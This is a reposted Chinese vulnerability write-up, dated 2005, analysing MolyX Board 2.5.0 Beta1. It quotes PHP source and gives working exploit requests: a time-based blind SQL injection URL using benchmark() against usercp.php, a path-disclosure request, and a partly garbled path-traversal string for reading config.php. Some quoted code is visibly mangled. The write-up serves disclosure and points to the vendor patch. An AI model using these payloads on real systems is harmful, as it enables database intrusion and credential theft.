|
|
 |
|
 |
|
|
|
字体:小 大 |
|
|
中华网络安全联盟 作者:佚名 来源:网络 时间:2006-3-19
MolyX
漏洞分析
文/SuperHei·安全天使[S4T] 2005.09.21
废话:
MolyX
Board(以下简称MXB)是 MolyX Studios 小组(好象就是CNVBB小组)开发的PHP论坛程序,MXB
融合了众多论坛程序的优点,博采众长,功能强大。多年的论坛程序汉化和改进经验也使 MXB
更适合国人的使用习惯。不过漏洞是难免的。
测试版本:
MolyX BOARD 2.5.0
Beta1
1.usercp.php漏洞
当删除附件时变量attachid[]过滤不言,导致暴露绝对路径和sql注射漏洞。分析如下:
代码行397---407
$affected_ids = count($_INPUT['attachid']);
if ( $affected_ids > 0 )
{
$attachments = $DB->query("SELECT a.*, p.threadid,
p.pid
FROM
".TABLE_PREFIX."attachment
a
LEFT
JOIN ".TABLE_PREFIX."post p ON ( a.postid=p.pid
)
WHERE
a.attachmentid IN (".implode(",",$_INPUT['attachid']).")
AND
a.userid='".$bbuserinfo['id']."'");
if
( $attachment = $DB->fetch_array($attachments) ) {
if ( $attachment['location'] ) {
@unlink( $bboptions['uploadfolder']."/".$attachment['attachpath']."/".$attachment['location']
);
}
我们看attachid[]经过了$_INPUT['attachid']提交到数据库查询,我们跟更$_INPUT[],在global.php 行23:
$_INPUT = $forums->func->init_variable();
继续跟init_variable(),init_variable()在includes/functions.php代码如下:
function
init_variable()
{
$return = array();
foreach(array($_GET,$_POST) AS $type) {
if( is_array($type) ) {
foreach ( $type AS $k => $v) {
if ( is_array($type[$k]) )
{
foreach ( $type[$k] AS $k1 => $v1)
{
$return[
$this->clean_key($k) ][ $this->clean_key($k1) ] = $this->clean_value($v1);
}
} else {
$return[ $this->clean_key($k) ] = $this->clean_value($v);
}
}
}
}
return $return;
}
function
clean_key($key)
{
if ($key == "") return
"";
return preg_replace( array("/\.\./",
"/\_\_(.+?)\_\_/", "/^([\w\.\-\_]+)$/"), array("",
"", "$1"), $key
);
}
function
clean_value($val)
{
if ($val == "") return "";
$pregfind = array ( " ", "&", ""
);
$pregreplace = array ( " ",
"&", "" );
$val = str_replace($pregfind, $pregreplace, $val);
$val = preg_replace( "/", "", "", "$", "" );
$val =
preg_replace($pregfind, $pregreplace, $val);
if ( $this->allow_unicode ) {
$val = preg_replace("/&#([0-9]+);/s", "&#\\1;", $val );
}
if ( get_magic_quotes_gpc() ) {
$val = stripslashes($val);
}
return preg_replace( "/\\\(&#|\?#)/", "\",
$val );
}
过滤了&\ ' error = @mysql_error($this->connection_id);
}
else
{
$the_error =
'';
}
$message= "数据库出现错误:
\n\n";
$message.= $the_error."\n\n";
所以普通用户都没有错误信息返回,也就是1=1和1=2得到的页面一样,所以不可以用“经典注射”(特殊码比较)。
幸好我们还有benchmark()。
注意:不可以有&
等,我们注射语句构如下:
http://127.0.0.1/xx/uploads/usercp.php?s=&do=attach&sort=&attachid[]=1)
and if((ascii(substring(user(),1,1))=0x72)|0,
benchmark(100000,md5(0x41)),0)/*
返回延时,那么我们就可以确定user()第一个字母hex值为0x72,也就是字母r。注意这个过程中只可以用=
来判断,因为都被过滤了。:)
当我们把$_INPUT['attachid']不当数组,当一般的变量提交时,变量不可以implode()而暴错,得到物理路径
提交:
http://127.0.0.1/xx/uploads/usercp.php?s=&do=attach&sort=&attachid
返回:Warning:
implode(): Bad arguments. in f:\www\www\xx\uploads\usercp.php on line
402
补丁:
官方2005.09.20已经出了补丁http://www.molyx.com/attachment.php?id=3097&u=2&extension=txt&attach=1127146647.attach&filename=UPDATE_20050920.txt&attachpath=2
值得提下的是,改补丁同时补了2个漏洞,另外一个是由于private.php里$_INPUT['pmid']过滤不严导致的,该漏洞
的利用和分析,跟上面的查不多,有兴趣的可以自己看看(ps:private.php漏洞不是我发现的,估计是官方看我的测试日志自己发现的)
2.attachment.php漏洞
影响系统:windows
其实这是漏洞已经补过一次了的:http://4ngel.net/article/50.htm
但是angel在文章里患了个小错误,没有过滤\和..
导致在win主机上漏洞依旧,漏洞分析可以看angel的文章,漏洞利用:
/UpLoadFiles/NewsPhoto/lename=1.gif
就可以得到includes/config.php里内容了
解决版本过滤..
/ \
|
|
 |
|
 |
|